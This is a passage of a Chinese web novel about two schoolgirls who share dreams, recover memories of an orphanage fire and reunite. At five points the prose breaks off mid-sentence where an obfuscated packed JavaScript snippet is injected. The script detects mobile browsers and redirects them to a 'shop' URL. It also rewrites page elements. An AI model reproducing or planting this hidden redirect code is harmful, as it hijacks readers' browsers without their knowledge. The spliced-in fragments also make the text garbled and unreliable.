一阵风吹过,雨丝斜着打来,打湿了黑猫的毛发,冰冷刺骨。 潮湿。 沉寂。 仿佛世界淡去,只剩一方狭小天地。 清晨,甘露艰难地起床,脑袋依旧昏沉,像是一夜没睡。老黄精力十足,摇着尾巴在她脚边不停打转,毛茸茸的脑袋蹭着她的裤腿,甘露差点踩到它的尾巴。 “哎呀,好狗狗。”甘露蹲下来摸了摸老黄的头,指尖顺着它的毛发往下,老黄舒服地眯起眼睛,发出呼噜呼噜的声响。 “快回去吧。别乱跑。”老黄腿脚不好,下不了楼梯,没有人按电梯她就出不去,老黄已经是很有阅历的狗了,家里人很放心。 今天它格外粘人,脑袋不停蹭着甘露的手心,甘露摸了好一会,它才哼哼唧唧,吧嗒吧嗒走地回房间,一步三回头。 外面下过小雨,出门时雨已经停了,太阳未出,地面一片湿滑,空气中弥漫着青草与泥土的气息,甘露想起那个莫名其妙的梦,想起里面连绵不绝的雨天。 路过岔路口,她停下。 很少有人会留意这片藏在角落里的矮房。 墙皮经不住风雨常年的侵蚀,早已经斑驳不堪,大片大片地脱落,露出里面暗红的砖缝,地上散落不少枯黄的松针,被雨水打湿后贴在地面。 换个角度才能看到,松树靠近矮房的一侧,有根被压断的枝干,截面粗糙而尖锐,直直地朝上。 就像梦里那棵树。 甘露推开那扇锈迹斑斑的铁门。 铁门发出刺耳的吱呀声,惊飞了枝头的麻雀。 这里大概是间废厂,奶奶曾经提过,从前生产皮影戏纸人,关停许久一直无人打理,角落里堆着破旧的机器,布满灰尘和蛛网,一阵腐臭味顺着缝里缝隙飘来,刺鼻又难闻,甘露拨开杂草,她看到断壁残垣围成的狭小夹脚,一汪积水,水面上飘着落叶,和那只黑猫。 黑猫死了有段时间,身体僵硬地蜷缩起来,失去光泽的毛发凌乱地贴在身上,眼睛半睁,瞳孔涣散,无声地注视着这个世界。 ‘‘别看了。’’ 一双冰凉的手盖住了甘露的眼睛。 11. 梦外 ‘‘江未眠?’’ ‘‘嗯?是我,怎么了。’’ 熟悉的声音近在耳畔,一缕发丝轻柔地擦过甘露的脸颊,带来一阵细微的痒意,连皮肤都似在轻轻颤栗。 她闻到了淡淡的蜂蜜柚子味。 江未眠说话向来不疾不徐,音调平平稳稳,几乎没什么起伏,辨识度高得一听就能认出。 甘露轻轻叹了口气。 ‘‘我没事,把手拿开吧,你的手好凉。’’ “好的呢。” 江未眠把虚拢在甘露眼前的手放下,缓缓插入衣兜。 “怎么办?’’甘露蹲在黑猫旁边,有些茫然无措,‘‘要埋了它吗?” 江未眠低头看了眼手机,轻声地回复道:“恐怕不太行,再耽误一会,我们就要迟到了。” 甘露抬头看向暗沉的天空,沉默了片刻。 “先走吧,”她站起身,拍了拍衣角沾着的草屑,“放学后再来。” 她拨开草丛,走到锈迹斑斑的铁门前,回头看向江未眠:“你要和我一起来吗?” 江未眠跟上她的脚步:“好呀。” 接下来的一路,两人没有说话,甘露表现得不明显,但江未眠可以看出,她一整天兴致都不高。 甘露从甘爷爷的工具箱里翻出把旧铁铲,江未眠在旁边尽职尽责地给她打着手电。 “我有没有和你说过,”甘露边铲土边说道,“我们家养了狗,土黄色的,应该算是中华田园犬,陪了我们七……” 说到这,她稍微停顿了一下,记忆把她带回那混乱的一年,走马观花似的捋了一圈时间线,最终想起来她那时大概九岁,“它陪了我们将近七年。” “捡到它的时候它已经是只中年狗了,看不出来多少岁,总之现在明显见老,胡子眉毛都白了。老狗在狗群里不能说不受欢迎吧,只能说无狗理睬,你敢信吗,自从养了它之后,邻居家的小泰迪都开始朝我龇牙。也就小黑会理理它了。” 她比划了一下,觉得坑应该差不多深了,小黑常年流浪,瘦骨嶙峋,体型并不大。 “昨天晚上我还梦到小黑了呢。” “难受吗?”江未眠的手指轻柔地绕了一缕甘露的卷发。 甘露坦然承认:“有点吧。” 如果猫也可以托梦,那么她大概,确实和小黑感同身受过。 她抬头问:“你相信灵魂吗?” 江未眠不置可否。 甘露继续自顾自碎碎念:“第一次遇到这种事情,这应该算是托梦吧?” “第一次吗?”江未眠颇有指向性地开口问道,语气里带着不易察觉的压抑,“之前,从来没有遇到过?” “没有啊,”甘露小心翼翼地把土填好,“我一直坚信唯物主义。” 江未眠幽幽地看向甘露,目光轻而沉,甘露依旧在认真地填土,丝毫没有注意到背后如有实质的目光。 她直起身问到:“这样可以了吧?” 江未眠点点头。 “你相信灵魂吗?” 曾经是江未眠这样问过她。 没想到有一天,角色彻底颠倒,提问题的人和回答的人互换位置,而她们已经在不同的路上走了很远。 “走吧,”甘露收起工具,朝江未眠招手,“这里晚上还挺阴森的。” “我相信。” “什么?” 甘露回过头,手电已经熄灭,黑暗笼罩了两人,好像借此可以掩盖一些无法言说之事。 江未眠的声音依旧平淡,没什么波澜,在夜晚带几分缥缈低沉。 “相信灵魂存在,相信梦境也算真实。这个世界,本就存在许多说不清道不明的东西不是吗?” 乌云在白日已经散尽,夜晚的天空荡荡,头顶出现了点点零星的光亮。手电的光不与其争辉,光亮更加真切清晰。 “也是,”甘露轻声附和,随即说道,“不过能把手电筒打开吗?我看不到路了。” “不是不想开,”江未眠按了两下按钮,遗憾地宣布,“开不了,电池没电了。” 甘露顺手在甘爷爷的工具箱里拿了小型手电筒,走之前没有检查电池电量,很不幸手电筒罢工了。 江未眠打开手机手电筒。炸眼的光一瞬直直打向甘露的眼睛,甘露下意识伸出手挡在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480575|201711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼前。 江未眠立刻移开光源。 “抱歉,”她快步走进,弯腰靠近甘露,想要去看她的眼睛,“还好吗?” “没关系。” 甘露眨了眨眼,眼尾挤出几滴泪水,又轻轻合上眼皮,“没关系,缓一缓就好了。” 眼前的光斑散的很快,甘露再睁开眼,措不及防对上江未眠深黑的瞳孔,江未眠浓密的睫毛细微颤抖。 静如潭水的瞳孔,一丝慌乱像是投入水中的石子,潭水因此荡漾开细碎的波纹。 酸涩混着清甜的味道扑面而来。 甘露想:潭水里也许盛的是蜂蜜柚子茶。 波纹与涟漪平静后,她在那双眼里,清清楚楚地看到自己的倒影。 呆愣,不知所措,眼睛可能还有点红……她后知后觉,意识到自己好像看得太久。 “你知道吗,”甘露干巴巴地开口,试图缓解这阵尴尬,“你的眼睛,好像哈哈镜。” “它是曲面,”江未眠轻笑,一句话打破奇怪的氛围,“你斗鸡眼了。” 甘露抓起落在地上的工具箱,往后退了两步,拉开一点距离。 灯光照向前方的路,光圈是个缺了半块的不规则椭圆,江未眠抬抬下巴,示意甘露跟上,“小心脚下,我们回去吧。” 甘露恍惚了一瞬。 这个场景莫名地熟悉,似乎在很久以前曾经看过类似的背影。 走得不疾不徐,步履从容,没有半分浮躁与急切,世界的喧嚣与安宁都与和她无关,她有自己的世界,在那里每一步都稳稳当当。 她们离开废旧工厂,踏着久违的路灯灯光,甘露吹了声轻快的口哨。 江未眠挑了下眉。 “挺厉害。” “要听小星星吗?” “哇哦,”江未眠头微微低着,眼神平和,带着浅浅的暖意,“大师您请。” 江未眠的目光落在她的唇边。 她的鉴赏能力有限,但能清晰听出,甘露的气息匀称流畅,音调链接自然,一整首歌流畅地淌出。 一闪一闪亮晶晶。 满天都是小星星。 16. 梦醒 “各位观众朋友晚上好,欢迎收看本期新闻,首先关注突发火情。今日下午,我市幸福路小区附近一儿童福利机构突发火灾。” 主持人语速飞快,表情严肃。 “现场火势一路蔓延,浓烟弥漫。” 一个稚嫩的声音小声抱怨:“我不想看这个……” 另一个同样稚嫩的声音回复他:“爱看不看,没有别的台可以看了。” “消防救援部门第一时间赶赴现场展开灭火、疏散及搜救工作。目前明火已经基本扑灭。” “别看了,快点,老师来了……老师来了!” “此次火灾的伤亡人员数量仍在统计,相关情况尚未明确。火灾原因有待相关部分进一步调查确认……” “快关电视……” 滴—— 电视一双涂着指甲油的手被关掉了。 “好了同学们,老师有没有说过不要再偷偷开电视了呢?” 孩子们大气都不敢喘。 “下次可不许了。”吕老师屈起手指,敲了敲黑板,想把大家的注意力拉回来。 “课间休息时间结束了,我们接着上课。” 看老师没有追究,小朋友们松了一口气。 吕老师从讲桌上拿了根粉笔,她转过身,在黑板上一笔一划地写到:我的梦想。 浓烟从角落缝隙渗透进来,火光越加明亮,吕老师好似看不见周围的异样,也听不到属于课堂之外的声响。 “同学们,今天我们要写作的题目是《我的梦想》。老师相信在每一位小朋友的心里,都藏着一个小小的愿望,就像种下一颗种子,期待它长成参天大树。” 她笑着对下面的小朋友们说。 “今天这节课,我们一起分享,一起写下你心里最想成为的样子。” 放下粉笔,吕老师着看向下面的孩子们。 “下面,有哪位同学想要分享一下吗?” 教室里只有十几个学生,氛围却格外热闹。孩子们高高举起手,跃跃欲试,眼里闪着亮光。 “你先来。” “老师,我想当医生……” “你来。” “我要当警察!” “你呢?” “我想和老师一样,成为一名教书育人的好老师。” 吕老师满意地点头,她的目光轻轻地扫过每个孩子的脸庞,在角落停顿一下后温柔地开口:“茜茜,你呢?你想成为什么样的人呢?” 被点名的小女孩怯怯地抬起眼,用小得像蚊子一样的声音回答:“我不知道。” 吕老师微笑,语气依旧温柔:“没关系,茜茜,总有一天你会找到自己想做的事。” 茜茜眨眨眼,没再说话,吕老师拍拍她的头,示意她坐下。 茜茜乖乖坐好。 黑板的边缘被熏得发黑,粉笔字写下的“我的梦想”字样渐渐模糊。 火场中央,这一堂课安稳地进行着,没有人觉得不对劲,孩子们徜徉在他们对未来的幻想之中,老师则欣慰地看着他们。 “好了同学们,开始写你们的作文吧,这次要注意老师之前讲过的作文的格式和结构,有什么不懂的可以举手问老师。” 一时间,笔尖划过纸页的沙沙声代替了孩子们吵闹的声音。 茜茜悄悄跑到讲台上,拽了拽甘老师的袖子:“老师。” “怎么了?茜茜?” 小女孩低着头:“我想上厕所。” “去吧。” 甘老师应了一声,便继续低头写教案。 小女孩跑下讲台的三尺台阶,小跑跑过教室的前门,她穿过长长的走廊,带起的风吹动甘露的衣角。 这是盒子中的最后一部分记忆。 盒子里有些记忆不怎么美妙,甚至称得上可怖,比如这部分。 甘露站在福利院的走廊。 走廊两侧挂满了孩童的画,蜡笔涂上鲜艳的色彩,花朵,太阳和手拉手的火柴人,充满了不谙世事的童趣。 每幅画的右下角有娟秀的字体写明了作画时间,应该是老师帮助孩子们标注的,最晚一幅在2018年,最早的则是2016年。 有一幅画,笔触歪歪扭扭,画中的公主头戴皇冠,没有精致的裙摆,反而穿着铠甲,身着红色的披风,手里握着一柄长剑。 公主圆润的脸庞上是蜡笔涂满的腮红,嘴角上扬晕开微笑,没有怯懦,反而有种笨拙的勇敢。 话的下方写着小画家的名字,茜茜,2018.7.10。 她可以成为公主,也可以做一名勇者。她有着一个不确定,但了不起的目标。 火灾夺取了女孩的一切,她留在了这里,找不到自己模糊的未来。 焦糊味往甘露的鼻腔里直钻,甘露被呛得咳嗽,她皱起眉。 她可以模模糊糊想起一些当时的事,充斥着浓烈不甘或是遗憾的记忆首当其冲。 她和江未眠最后一次“见面”,是在这片火海里。 他们和女孩一样没能离开火海。 火势是从走廊最里面的杂物间开始,渐渐蔓延到整栋建筑当天只有一屋孩子和吕老师在福利院里。 刚找回的记忆不甚模糊,甘露不知道江未眠当时的情况如何,她记得她们分开了,然后她从混沌里醒来,什么都忘记了,从此再也没梦到过江未眠。 甘露下意识磨搓手腕。 她突然想起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480580|201711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,那时这个手上的手链断掉,奶奶说这是给甘露当了灾,之后也没有重新穿起来,只是放在床头柜里,没有再拿出来过。 会是因为这个吗?甘露思索。 没等到她想明白,她看到卷卷拉着江未眠与她擦肩而过。 卷卷猛地拉开教室的门,大声喊道:“着火了!” 可没有人回应,就好似看不到她们。 大火蠢蠢欲动。 一块木头从她们正上方轰然坠落,两个孩子被硬生生隔开。 江未眠喊到:“卷卷!” 塌下的木头的那块极其不稳,很快又掉下一块。 卷卷只来得及的扭过头,她直直地望着甘露,泪水盈满眼眶,嘴唇颤抖着张合:帮帮我…… 这一刻,火场里的女孩,礁石上的女孩和此刻的甘露融为一起。 帮帮我,救救你自己。 别再让这场大火燃烧了。 火的那头,2018年的江未眠也变成了长大后的她。 甘露瞳孔颤抖。卷卷消失了,剩下了甘露和江未眠。 “江未眠——” 刺眼而白炽的亮光铺天盖地压下来,耳边只剩下阵阵轰鸣,她可以感觉到,向前伸展的指尖在发烫,发痛,她不能用眼睛去看,用耳朵去听,人类的感官在此时显得无比孱弱,她只觉自己被置于火中在不断燃烧。 但实际上,她还站在火的外围。 而她心爱的女孩,在火墙那一头。 最冲动的莽夫,拥有着不可思议,无法丈量的勇气。 她会将行动置于思考之前,把恐惧当作肺里的空气,吹出去,告诉这个世界她对困难的傲慢与无知。 甘露扯下头顶的发带,死死蒙住双眼,她捂住双耳,一头冲向火场。 发带盖不住熊熊烈焰迸发出的火光,血肉也不足以隔离火焰爆裂的哀嚎,但聊胜于无,热浪扭曲了空气,目之所及的一切被烘地发软,变形,连呼吸都成了滚烫的刀刃,切割喉咙与肺叶。 浓烟盘旋在最上方,火舌是活的,翻滚着,舔舐着,卷动着一切可以燃烧的东西,把人狠狠向远离它的方向推。 可她不会退。 指甲嵌入掌心,牙齿控制不住地颤栗,火星飞溅在她手臂上,立刻烫出尖锐的痛。 甘露在心里一遍遍告诫自己,是假的,都是假的。 她还在向前,再往前一点。 发带被烧毁,火光映射在她充满恐惧的眼睛,甘露猛地闭上眼,冲刺。 越过火墙的那一瞬,骇人的高温消失了。 甘露一把拽住江未眠的手,心脏狂跳,惊魂未定。 “找到你了。” 甘露宣布。 17. 江未眠日记其一 2018.12.0222:08 一幅涂鸦。 2018.12.0323:09 随手文具店拿了本日记,教语文的老太太说,用笔在纸页上写字和在电脑手机上打字不同,有什么不一样?目前没有发现,我只发现铅笔粉末粘在手上了,显得有点脏。 可能她独有某种情怀吧。 其实没什么好记的,但晚上实在是太太太——无聊了对吗?时间有那么多,永远过得这么慢,手机之类的电子设备总会玩腻,我总要给自己找点事情做。 如果说一寸光阴一寸金,那我简直是挥金如土的土豪,又或者是视金钱如粪土? 都差不多吧。 2018.12.031:46 夜观天象,今晚没看到月亮,天上连稀疏的星星都没有。 明天大概会下雨。话说写日记需不需要写上天气?好像需要,但时间不需要精确到分钟。 我不想出门,希望王婶会同意代替妈妈帮我请假,求求她发发慈悲。实际上,妈妈不在意我去不去学校,她不会知道。而我只是想多睡一会,多么朴实无华,切合人类生理需求的理由。 不明白为什么要去学校,但是比起医院,还是学校吧。 盼望假期。 2018.12.034:03 真的好无聊。 不想睡,点想卷卷了,过了四天,还是五天?好久没有见她了。 2018.12.04 既然是白天写的,那不标时间了。 卷卷的岛面积真的很大,我们一起沿着海岸线走了将近四个小时才能形成闭环。而且岛上的生态系统相当丰富。 还有好多虫子。 我和卷卷花了半个晚上探索她的小岛,卷卷说小岛剽窃了某部动画片的创意,有一只猫和一只狗,还有好多小鱼,她忘了名字,我也不知道,我不爱看动画片。 但如果她不再拿飞虫吓我,我可以帮她上网查一查,在一起讨论一下动画片什么的。 我们说话的间隙,海里面游出来只七彩乌龟,壳上趴着只同样配色的七彩海星。 “哇哦。” 卷卷兴奋地捡了棍子,跑到沙滩上逗乌龟。 我相信这个小岛她造的了,所有一切都如此符合她的喜好,只是不理解她为什么执着于彩虹色。河里的鱼也是彩色的,像是吃了什么化学药剂后变异了(不过烤起来其实很好吃,我第一次在梦里烹饪东西)。 她对她的头发也有种奇怪的执着,说实话,我挺喜欢她的头发,毛茸茸的,看起来很好摸,可惜她不让我摸,我总有一天会摸到的。 我问她为什么偏爱彩虹。 “偏爱?”她理所当然地反驳我,“那很梦幻啊。” 梦幻什么啊…… 我不知道该回答什么,尽量闭上嘴,做一个不扫兴的朋友吧。 此处附上一幅涂鸦。 2018.12.06 真的很诡异。 晚上梦见了菜市场,和现实里一摸一样,而且异常平和。 人来人往,杂乱,菜味和有点腥气的肉味混杂在一块。 这个菜市场非常有菜市场的样子,简直就是菜市场里的模范。 我在梦里逛了挺久,还吃了两斤小番茄,挺甜的,没发现这是谁的梦。 直到我注意卖鱼摊子,水槽里的那条正在翻白眼的鱼。 王婶晚饭也做了条鱼,清蒸,撒了葱花,当时吃来,鲜,嫩。 现在看来,它的眼里,闪着诡异的光。 突然好想吐。 2018.12.10 卷卷说,下辈子想做一条忧伤的鱼。 我把梦里那条鱼讲给她听。 她表情变得很奇怪,沉默很久,说道:“都怪你,我再也无法直视松鼠鳜鱼了。” 我也沉默了。 松鼠鳜鱼,罪不至此吧? 2018.12.13 要不要问出来那个问题呢? 询问别人是不是活人,听起来太奇怪了。 2018.12.14 数学考砸了,不及格。这次算是比较重要的考试吧?我不清楚。 运气很差,选择题全蒙错。心态放平就好,有再一再二,就会有再三再四,这种小事不值得烦恼太久。 吃完饭时妈妈居然提到了成绩,看得出她不想给我压力。她也没空,最近几个案子堆在一起,她亲自带了一个,很忙,我告诉她我会注意。 她疲惫地点头。 某方面来讲,我一直觉得很别扭。 我希望她看到我,又害怕她看到我。 就这样浑浑噩噩,拧巴地过着。 被看见这件事,本身就很别扭。我希望妈妈能多看我一眼,可当她真的注意到我时,我浑身不自在。 衣角开线,领口的油点,不及格的成绩,一切都挺难堪。 我没有自己想象中那么坦诚。 2018.12.20 我曾经以为自己是漫画里的主角,或是反派,总之是关 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480581|201711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 键的、必不可少的,会来救场的人。 自视甚高。 可这日子越过越不对劲啊。 发现自己不算是主角,如此简单。 最近还算过得平和安宁,最难熬的那段时间,三天两头去别人梦里串门,尤其是在医院的时候,字面意思上的噩梦中的噩梦,这也是我不喜欢那里的原因之一。 回到家会好很多,运气时能安安稳稳睡上半个月。 一夜无梦睡懒觉,真的美好。 学校睡体验感也不差,数学课最催眠。一开始老师还会说几句,后来也懒得管,只要成绩别特别太难看。 夜里很无聊,我多少会学一点,保证及格。 这算自由吗?在大部分被严格作息时间框住的学生眼,是肯定答案吧? 有时候我觉得,我像一张从窗户扔出去的纸,随着风晃荡,没有牵扯,更谈不上牵挂。落到哪就在哪停着,风再起就再飞起来,没有尽头也就谈不上停留。 如果这算自由。 那看来所谓诗人向往的东西,也没有想象中的高不可攀,诱人无比了。 2018.12.25 今天是我的生日,我一向不怎么过,妈妈没有回来,但王婶给我买了蛋糕,巧克力很好吃,甜得恰到好处。 晚上见到了卷卷。她知道今天是我的生日后一脸苦恼。 “因为没有准备礼物呀。” “有没有都没关系,我不怎么在意。” 我安慰她。 她比我在意得多,她让我在她的梦里多留一会儿,我答应了,我喜欢这里,她就算卷卷不说我也会想要多待会。 我准备继续学习用草编兔子,卷卷倒是跑得无影无踪。 等我编了将近二十只兔子,她终于出现,把我拉到山坡上。 视野很开阔,正对着海面。 一轮月亮高悬在空中,一轮沉在水底。 耳边炸响,斑斓的烟花跃然而上,拼成一个个字。 “生。” “日。” “快。” “乐。” 我一个个念出来。 “生日快乐!”我听到卷卷大喊。 真奇怪,我不讨厌被她看见。 似乎我仅仅是存在着,坐在温暖的海滩上里,不需要做任何事,仅仅是存在着,在她的眼眸中,视线里存在着。 就是一件相当美好的事情。 是每一寸欲念都被凝视,但每一次渴望都被一一安稳摆放。 祝我生日快乐。 19. 梦醒 “你是吗?江未眠?” 甘露问道。 她的声音如此遥远,像在天边,像在水下,反正不是在她身旁。 “是我……是我……” 江未眠回答。 无论曾经表现的多么从容,这层假面彻彻底底被撕扯掉了,像是从灵魂深处拽出了那个胆小懦弱的自己,露出阴暗柔软的内里。 江未眠不喜黑暗与无边的噩梦,但她更无法忍受美好的回忆,找到她,把她彻底吞没。 她脚步轻浮,好像飘在大气稀薄的云端,她不得不谨慎地迈出每一步,云层坠落,直向大地的风险无时无刻不在提醒她,你看,是安宁的彼岸,还是噩梦的深渊? “你怎么在这里?” “你想起了吗?” “你还好吗?” 无数问题涌向唇边,江未眠的嘴巴张张合合,最后却停下,只是抿成一条紧绷的,发不出任何音的直线。 她没有想起来,该怎么办? 这个念头冉冉升起,堂而皇之地占据江未眠的大脑。 她用小心翼翼带着怀念的眼神看向甘露,像是怕戳破一个易碎的泡泡。沉默着,等待着问题的答案。 这里没有大火,没有横跨了几年的分离,她和甘露稳稳地存在于此,美好地就像十字路口蛋糕店里的鲜花饼。 甘露若有所感般抬头,猛然撞进颇为丰富的眼神。 甘露蓦然想起了曾在楼上眺望过的背影,与眼前的场景交错,重叠,再次显现出的惊鸿一瞥,好像是她翻过了浓稠的黑夜,从高高在上三楼来到了那个孤单的影子身边。 甘露出声了,语气里夹杂着一丝委屈,低低地问道:“江未眠,你发现我忘了你的时候,有没有难过啊?” 江未眠猛然松一口气。耳边还是女孩温柔的声音,听起来像风吹起来般轻柔,她厌厌地垂下眼皮。 “难过死了,偷偷在被窝里哭了好几回。” 江未眠的发丝垂下来,遮住半张脸,她闷闷地回应。 甘露听到江未眠的鼻音,差异地看向她,发现自己看不到江未眠的表情后,直接伸手把江未眠的头发捋了上去,露出她精致脸庞。 “真哭了啊?” 甘露有些担忧地问:“你还好吗?” 江未眠鼻子一酸,泪水缓缓淌下。 甘露叹气:“小可怜。” 她给了江未眠一个很紧的拥抱,好像要填满两人之间的缝隙,从一人的胸腔里听到另一个人的心跳,江未眠被勒得发痛,她的脖颈湿漉漉的,头发被烧焦了,脸上还带着烟熏火燎烤出的灰。 狼狈。 但却无比满足。 “卷卷。” 她笑了。 重新唤出这个名字的感觉真好,心脏砰砰地撞向胸口,嘴唇像是沾染了蜜糖,嘴角止不住地上扬,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480583|201711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像是终于挣脱了束缚,肺里开始涌进空气,她看到了天光大亮。 “卷卷!” 甘露揉了揉耳朵:“哎,我在呢。” 甘露侧过脸看江未眠,眼里带着些许揶揄,心情由阴转晴,语气中更是透露着说不出的愉悦。 “好久不见。” “你知道吗?我等了很久,以为再也见不到你了。” 江未眠抹了一下眼泪,脸上烧焦的痕迹晕开,涂黑了她小半张脸,看起来有些滑稽。不过江未眠没注意到,也不怎么在意,她忙着控诉甘露。 “你答应每年都要给我过生日,你欠我好多个生日,都要补回来。” 甘露替她擦去脸上的一点黑色,点头答应:“好。” 随即又有点恨恨地控诉回去:“你认出我来了,不也没告诉我。” “你都不认识我,你居然不认识我。” 江未眠语气幽幽:“怎么敢去问呢?” 她看着甘露的眼睛说道:“你好卷卷小姐,你还记得我吗,我们之前在梦里见过。” 甘露也认真地看回去:“这不是不睡觉小姐吗?怎么会忘呢。” 江未眠轻声笑了。 眼前的甘露模糊起来,意识开始沉浮,像是要从水里回到海面。 江未眠意识到:“梦该醒了。” 甘露向她挥手:“早上见。” “不见,不散。” 20. 梦外 甘露本来比平时早了几分钟出门,想着或许可以碰到隔壁邻居,打开门后却发现江未眠已经坐在楼梯口,百无聊赖地划拉着手机。 天还刚蒙蒙亮,走廊里一片昏暗,直到感应灯骤然打开,甘露只看到黑色的一团坐在拐角处,冷不丁吓她一跳。 江未眠看到甘露出后,没多说话,默默收起来手机,一副没永远也睡不够的模样,像是被设定了自动跟随,安安静静地跟在甘露身后。 路程很短,要不了几分钟,但甘露还是问了:“要睡一会吗?” 江未眠坐在后座,半张脸虚靠在甘露后背,双手轻轻环住她的腰,声音闷闷的,却藏着点愉悦:“要。” 两人就这样黏黏糊糊地一路到了学校门口。 甘奶奶陪着甘爷爷去野钓了,老两口玩得尽兴时会一连几天不在家,甘露打算去早餐摊解决早饭,江未眠也跟一路跟了过来。 “要一屉玉米肉馅小笼包,再来一杯豆浆。” 甘露把手伸到外套口袋里,捏了捏江未眠的指尖。 “你吃什么?” “和你一样。” 江未眠打了个哈欠,慢腾腾挪动到小摊椅子上,抽了两双一次性筷子,递了一双给甘露。 甘露接过,在她对面坐下,把书包放在旁边的凳子上。 正值高峰期,小店里人声鼎沸,客人来来往往,服务员穿行在各个桌子之间,她们等了有一会,早饭才匆匆上桌。 小笼□□薄透亮,微微泛着温润的油光,刚出锅的热气裹挟着甜味麦芽香扑面而来。 蒸笼里冉冉升起的雾气,模糊了江未眠的眼睛,甘露看不分明里面蕴藏的情绪。 甘露咬了口包子,咸香的汁水顿时溢满口腔。 学生们或急或缓地从摊前经过,自行车叮铃作响,间或混着汽车鸣笛,摊主放在一旁的喇叭尽职尽责地不间断报菜名,清晨吵吵闹闹地开场。 江未眠小口小口地吃着包子,时不时停下来吹一吹,吃得慢条斯理,甘露已经吃完,往后轻轻一靠,耐心地等着她。 “老板,一份鸡蛋萝卜,三份鲜肉,还要两杯豆浆……” 熟悉的声音传来,甘露朝声源望去。 陆绮的手上已经有好几个鸡蛋灌饼和烤冷面,一看就是扫荡过好几个摊子的战果。 江未眠瞥了一眼后小声和甘露吐槽:“陆绮兼职卖早餐吗?” 甘露忍笑摇头,但还是给予好友很高的肯定:“她是黄金外卖员,全班的希望。” 她朝哪边扬声喊到:“陆绮!” 陆绮刚接过打包好的包子豆浆,回一回头看到甘露,便抱着一堆东西走过来。 陆绮打招呼道:“早。” “早。”甘露回应。 “早。”江未眠也跟着问好。 甘露问看着她的丰硕战果,问到:“你买好了吗?需不需要帮忙?” 陆绮不客气地把的包子塞到甘露手里,甘露又转手分了两包给江未眠。 陆绮探究的眼神在她们俩之间扫了一圈。 江未眠淡定地接过,把袋子拎在手里,又自然地站在甘露身后,一副随时随地粘着她的模样。 陆绮眯起眼,表情更加微妙。 江未眠像是察觉到什么,朝陆绮淡淡一笑,陆绮眼珠子转了转,又若无其事地收了回去。 早餐外卖是一项技术活,不能够被保安看见,也不能心虚露怯,是集演技,走位和运气为一体的高级技术活,陆绮深谙此道。 一番操作下来,江未眠不得不感叹句:“真是乐于助人啊。”愿意这样折腾。 “其实不然,”甘露摇了摇头,“她只是想给某个人带,又怕太显眼,才顺便帮大家一起带。” 对这件事,甘露疑惑,甘露尝试理解,思考过后甘露更加疑惑,但她是个包容好友的人,陆绮再怎么折腾她都陪着。 “哦,”江未眠意味深长地说道:“也挺好。” 一进教室,就看见一群人围在后排,甘露凑过去一看,是上次联考的成绩单,她英语没发挥好,被拉了些分,只拿到了第二。 她接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480584|201711||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着去找江未眠的名字,在中间偏后的位置找到了。 虽然江睡神一天到晚都在会晤周公,没怎么听过课,但这样看来成绩还是马马虎虎说得过去,除了数学之外没有不及格。 老李拿着书走进来:“不早读,围在这儿干什么呢?” 人群立刻作鸟兽散,老李慢悠悠地走上讲台,班里响起来稀稀拉拉的读书声。 “没吃饭吗?大声点。” 在一小片抱怨声里,读书声勉强大了些。 江未眠压根没去看成绩单,不怎么在意的样子,老李的目光却有意无意地往后扫了扫。 下课后,老李叫了几个人出去,甘露也在其中。 回来时,她手里多了一张江未眠近期的成绩分析表。 